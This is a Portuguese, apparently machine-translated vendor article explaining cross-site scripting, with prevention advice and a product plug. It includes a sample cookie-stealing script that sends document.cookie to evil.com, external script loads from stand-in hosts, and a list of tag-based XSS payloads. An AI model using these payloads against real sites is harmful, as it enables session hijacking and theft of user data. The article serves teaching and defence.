Cross-site Scripting (XSS) é um ataque de injecção de código do lado do cliente. O atacante visa executar scripts maliciosos num navegador web da vítima, incluindo código malicioso numa página web ou aplicação web legítima. O ataque real ocorre quando a vítima visita a página web ou a aplicação web que executa o código malicioso. A página web ou aplicação web torna-se um veículo para entregar o script malicioso ao navegador do utilizador. Veículos vulneráveis que são normalmente utilizados para ataques de Cross-site Scripting são fóruns, quadros de mensagens e páginas web que permitem comentários.

Uma página web ou aplicação web é vulnerável a XSS se utilizar a entrada não digitalizada do utilizador na saída que gera. Esta entrada de utilizador deve então ser analisada pelo browser da vítima. Os ataques XSS são possíveis em VBScript, ActiveX, Flash, e mesmo CSS. Contudo, são mais comuns em JavaScript, principalmente porque o JavaScript é fundamental para a maioria das experiências de navegação.

“Não é o Cross-site Scripting o problema do utilizador?”

Se um atacante pode abusar de uma vulnerabilidade XSS numa página web para executar JavaScript arbitrário no navegador de um utilizador, a segurança desse website ou aplicação web vulnerável e dos seus utilizadores tem sido comprometida. XSS não é um problema do utilizador como qualquer outra vulnerabilidade de segurança. Se está a afectar os seus utilizadores, afecta-o.

Cross-site Scripting também pode ser utilizado para desfigurar um sítio web em vez de visar o utilizador. O atacante pode usar scripts injectados para alterar o conteúdo do website ou mesmo redireccionar o navegador para outra página web, por exemplo, uma que contenha código malicioso.

O que pode fazer o atacante com JavaScript?

Vulnerabilidades de XSS são percebidas como menos perigosas do que, por exemplo, as vulnerabilidades de SQL Injection. As consequências da capacidade de executar JavaScript numa página da web podem não parecer, no início, terríveis. A maioria dos navegadores da web executam JavaScript num ambiente muito controlado. O JavaScript tem acesso limitado ao sistema operativo do utilizador e aos ficheiros do utilizador. Contudo, o JavaScript ainda pode ser perigoso se for mal utilizado como parte de conteúdo malicioso:

• O JavaScript malicioso tem acesso a todos os objectos a que o resto da página web tem acesso. Isto inclui o acesso aos cookies do utilizador. Os cookies são frequentemente utilizados para armazenar fichas de sessão. Se um atacante puder obter um cookie de sessão do utilizador, pode fazer-se passar por esse utilizador, executar acções em nome do utilizador, e obter acesso aos dados sensíveis do utilizador.

li>JavaScript pode ler o DOM do navegador e fazer modificações arbitrárias ao mesmo. Felizmente, isto só é possível dentro da página onde o JavaScript está a correr.li>JavaScript pode usar o XMLHttpRequest objecto para enviar pedidos HTTP com conteúdo arbitrário para destinos arbitrários.li>JavaScript em navegadores modernos pode usar as APIs HTML5. Por exemplo, pode obter acesso à geolocalização do utilizador, webcam, microfone, e até ficheiros específicos do sistema de ficheiros do utilizador. A maioria destas APIs requer a opção de entrada do utilizador, mas o atacante pode usar engenharia social para contornar essa limitação.

O acima referido, em combinação com a engenharia social, permite aos criminosos fazer ataques avançados incluindo roubo de cookies, plantação de trojans, keylogging, phishing, e roubo de identidade. As vulnerabilidades XSS fornecem o terreno perfeito para escalar os ataques para os mais graves. O Cross-site Scripting também pode ser utilizado em conjunto com outros tipos de ataques, por exemplo, Cross-Site Request Forgery (CSRF).

Existem vários tipos de ataques de Cross-site Scripting: XSS armazenado/persistente, XSS reflectido/não-persistente, e XSS baseado em DOM. Pode ler mais sobre eles num artigo intitulado Types of XSS.

How Cross-site Scripting Works

Existem duas fases para um típico ataque de XSS:

1. Para executar código JavaScript malicioso num navegador da vítima, um agressor tem primeiro de encontrar uma forma de injectar código malicioso (carga útil) numa página web que a vítima visita.
2. Depois disso, a vítima tem de visitar a página web com o código malicioso. Se o ataque for dirigido a determinadas vítimas, o agressor pode utilizar engenharia social e/ou phishing para enviar um URL malicioso à vítima.

Para que o primeiro passo seja possível, o website vulnerável precisa de incluir directamente a entrada do utilizador nas suas páginas. Um atacante pode então inserir uma string maliciosa que será utilizada dentro da página web e tratada como código fonte pelo navegador da vítima. Existem também variantes de ataques XSS em que o atacante atrai o utilizador para visitar um URL usando engenharia social e a carga útil faz parte do link que o utilizador clica.

O seguinte é um snippet de pseudo-código do lado do servidor que é usado para exibir o comentário mais recente numa página web:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

O script acima simplesmente tira o último comentário de uma base de dados e inclui-o numa página HTML. Assume que o comentário impresso consiste apenas em texto e não contém etiquetas HTML ou outro código. É vulnerável ao XSS, porque um atacante poderia submeter um comentário que contém uma carga útil maliciosa, por exemplo:

<script>doSomethingEvil();</script>

O servidor web fornece o seguinte código HTML aos utilizadores que visitam esta página web:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Quando a página é carregada no navegador da vítima, o script malicioso do atacante executa-se. Na maioria das vezes, a vítima não se apercebe disso e é incapaz de impedir tal ataque.

Biscoitos roubadores Usando XSS

Os criminosos usam frequentemente XSS para roubar cookies. Isto permite-lhes imitar a vítima. O atacante pode enviar o cookie para o seu próprio servidor de muitas maneiras. Uma delas é executar o seguinte script do lado do cliente no browser da vítima:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

A figura abaixo ilustra um passo-a-passo de um simples ataque XSS.

1. O atacante injecta uma carga útil na base de dados do sítio web, submetendo um formulário vulnerável com conteúdo JavaScript malicioso.
2. A vítima solicita a página web do servidor web.
3. O servidor web serve ao navegador da vítima a página com carga útil do agressor como parte do corpo HTML.
4. O navegador da vítima executa o script malicioso contido no corpo HTML. Neste caso, envia o cookie da vítima para o servidor do agressor.

>li> O agressor precisa agora simplesmente de extrair o cookie da vítima quando o pedido HTTP chega ao servidor.li> O agressor pode agora utilizar o cookie roubado da vítima para se fazer passar por ele.

Para saber mais sobre como os ataques XSS são conduzidos, pode consultar um artigo intitulado A comprehensive tutorial on cross-site scripting.

Crosssite Scripting Scripting Attack Vectors

A seguir encontra-se uma lista de vectores de ataque XSS comuns que um atacante poderia utilizar para comprometer a segurança de um website ou aplicação web através de um ataque XSS. Uma lista mais extensa de exemplos de carga útil XSS é mantida pela organização OWASP: XSS Filter Evasion Cheat Sheet.

<script> tag

The <script> tag é a carga útil mais directa de XSS. A script tag pode referenciar código JavaScript externo ou pode inserir o código dentro da script tag propriamente dita.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

JavaScript events

JavaScript event attributes such as onload e onerror podem ser usados em muitas etiquetas diferentes. Este é um vector de ataque XSS muito popular.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Uma carga útil XSS pode ser entregue dentro do <body> usando atributos de evento (ver acima) ou outros atributos mais obscuros tais como o atributo background.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

alguns navegadores executam JavaScript encontrados nos atributos <img>.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

O <iframe> tag permite-lhe incorporar outra página HTML na página actual. Um IFrame pode conter JavaScript mas o JavaScript no IFrame não tem acesso ao DOM da página de origem devido à Política de Segurança de Conteúdo (CSP) do navegador. No entanto, os IFrames continuam a ser muito eficazes para a realização de ataques de phishing.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

Em alguns navegadores, se o type atributo do <input> tag estiver definido para image, ele pode ser manipulado para incorporar um script.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> tag

The <link> tag, que é frequentemente utilizada para ligar a folhas de estilo externas, pode conter um script.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> tag

O atributo de fundo do <table> e <td> as etiquetas podem ser exploradas para se referir a um guião em vez de uma imagem.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<div> tag

The <div> tag, semelhante a <table> e <td> tags, também pode especificar um fundo e, portanto, incorporar um guião.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<object> tag

The <object> tag pode ser usado para incluir um script de um sítio externo.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Is Your Website or Web Application Vulnerable to Cross-site Scripting

As vulnerabilidades de cross-site Scripting são uma das vulnerabilidades mais comuns das aplicações web. A organização OWASP (Open Web Application Security Project) lista as vulnerabilidades XSS no seu documento OWASP Top 10 2017 como o segundo problema mais prevalecente.

Felizmente, é fácil testar se o seu website ou aplicação web é vulnerável a XSS e outras vulnerabilidades, executando uma varredura web automatizada usando o scanner de vulnerabilidade Acunetix, que inclui um módulo scanner XSS especializado. Faça uma demonstração e descubra mais sobre a execução de varreduras XSS contra o seu sítio web ou aplicação web. Um exemplo de como se pode detectar vulnerabilidades XSS cegas com o Acunetix está disponível no artigo seguinte: Como detectar vulnerabilidades de XSS cegas.

Como prevenir XSS

Para se manter a salvo de XSS, deve higienizar a sua entrada. O código da sua aplicação nunca deve emitir dados recebidos como entrada directamente para o browser sem o verificar quanto a código malicioso.

Para mais detalhes, consulte os artigos seguintes: Prevenir ataques XSS e Como Prevenir o Cross-site Scripting com base em DOM. Também pode encontrar informações úteis na Folha de Controlo de Prevenção de XSS mantida pela organização OWASP.

Perguntas frequentes